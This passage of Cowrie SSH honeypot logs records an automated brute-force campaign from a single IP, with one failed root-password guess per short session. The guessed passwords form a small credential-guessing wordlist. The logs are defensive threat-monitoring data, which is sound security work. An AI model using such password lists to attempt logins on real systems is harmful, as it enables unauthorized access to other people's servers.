256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:40.526504Z","src_ip":"60.165.124.241","session":"8547d1e573db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a!","message":"login attempt [root/A123456a!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:41.269584Z","src_ip":"60.165.124.241","session":"8547d1e573db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:42.511938Z","src_ip":"60.165.124.241","session":"8547d1e573db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57650,"dst_ip":"10.17.0.5","dst_port":22,"session":"a998baa8bd2f","protocol":"ssh","message":"New connection: 60.165.124.241:57650 (10.17.0.5:22) [session: a998baa8bd2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:42.773930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:42.778604Z","src_ip":"60.165.124.241","session":"a998baa8bd2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:43.031751Z","src_ip":"60.165.124.241","session":"a998baa8bd2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:43.827284Z","src_ip":"60.165.124.241","session":"a998baa8bd2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:45.078682Z","src_ip":"60.165.124.241","session":"a998baa8bd2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60732,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7e173187716","protocol":"ssh","message":"New connection: 60.165.124.241:60732 (10.17.0.5:22) [session: e7e173187716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:45.316271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:45.325213Z","src_ip":"60.165.124.241","session":"e7e173187716","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:45.577763Z","src_ip":"60.165.124.241","session":"e7e173187716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@@@","message":"login attempt [root/Aa123456@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:46.306220Z","src_ip":"60.165.124.241","session":"e7e173187716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:47.564211Z","src_ip":"60.165.124.241","session":"e7e173187716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35294,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ad231885f82","protocol":"ssh","message":"New connection: 60.165.124.241:35294 (10.17.0.5:22) [session: 4ad231885f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:47.807948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:47.813659Z","src_ip":"60.165.124.241","session":"4ad231885f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:48.052300Z","src_ip":"60.165.124.241","session":"4ad231885f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@13579","message":"login attempt [root/Aa@13579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:48.804412Z","src_ip":"60.165.124.241","session":"4ad231885f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:50.058521Z","src_ip":"60.165.124.241","session":"4ad231885f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38188,"dst_ip":"10.17.0.5","dst_port":22,"session":"b92242ba7817","protocol":"ssh","message":"New connection: 60.165.124.241:38188 (10.17.0.5:22) [session: b92242ba7817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:50.289930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:50.294743Z","src_ip":"60.165.124.241","session":"b92242ba7817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:50.535325Z","src_ip":"60.165.124.241","session":"b92242ba7817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@word1","message":"login attempt [root/Pass@word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:51.252084Z","src_ip":"60.165.124.241","session":"b92242ba7817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:52.491464Z","src_ip":"60.165.124.241","session":"b92242ba7817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40968,"dst_ip":"10.17.0.5","dst_port":22,"session":"eff19a3cff93","protocol":"ssh","message":"New connection: 60.165.124.241:40968 (10.17.0.5:22) [session: eff19a3cff93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:52.726637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:52.731478Z","src_ip":"60.165.124.241","session":"eff19a3cff93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:52.968934Z","src_ip":"60.165.124.241","session":"eff19a3cff93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ww123456","message":"login attempt [root/Ww123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:53.689696Z","src_ip":"60.165.124.241","session":"eff19a3cff93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:54.930471Z","src_ip":"60.165.124.241","session":"eff19a3cff93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43630,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ec48c50bf6e","protocol":"ssh","message":"New connection: 60.165.124.241:43630 (10.17.0.5:22) [session: 5ec48c50bf6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:55.168621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:55.173626Z","src_ip":"60.165.124.241","session":"5ec48c50bf6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:55.414344Z","src_ip":"60.165.124.241","session":"5ec48c50bf6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PASSWORD","message":"login attempt [root/PASSWORD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:56.150555Z","src_ip":"60.165.124.241","session":"5ec48c50bf6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:57.396949Z","src_ip":"60.165.124.241","session":"5ec48c50bf6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46590,"dst_ip":"10.17.0.5","dst_port":22,"session":"2014fff7e57e","protocol":"ssh","message":"New connection: 60.165.124.241:46590 (10.17.0.5:22) [session: 2014fff7e57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:57.634968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:57.639870Z","src_ip":"60.165.124.241","session":"2014fff7e57e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:57.884418Z","src_ip":"60.165.124.241","session":"2014fff7e57e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lyglzy2pojie","message":"login attempt [root/lyglzy2pojie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:58.633311Z","src_ip":"60.165.124.241","session":"2014fff7e57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:59.872309Z","src_ip":"60.165.124.241","session":"2014fff7e57e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49392,"dst_ip":"10.17.0.5","dst_port":22,"session":"318caa775af5","protocol":"ssh","message":"New connection: 60.165.124.241:49392 (10.17.0.5:22) [session: 318caa775af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:00.106217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:00.114434Z","src_ip":"60.165.124.241","session":"318caa775af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:00.353149Z","src_ip":"60.165.124.241","session":"318caa775af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123.0","message":"login attempt [root/zxc123.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:01.075559Z","src_ip":"60.165.124.241","session":"318caa775af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:02.908024Z","src_ip":"60.165.124.241","session":"318caa775af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53048,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae5cbcbf8ffb","protocol":"ssh","message":"New connection: 60.165.124.241:53048 (10.17.0.5:22) [session: ae5cbcbf8ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:03.159419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:03.164516Z","src_ip":"60.165.124.241","session":"ae5cbcbf8ffb","protocol":"ssh"}
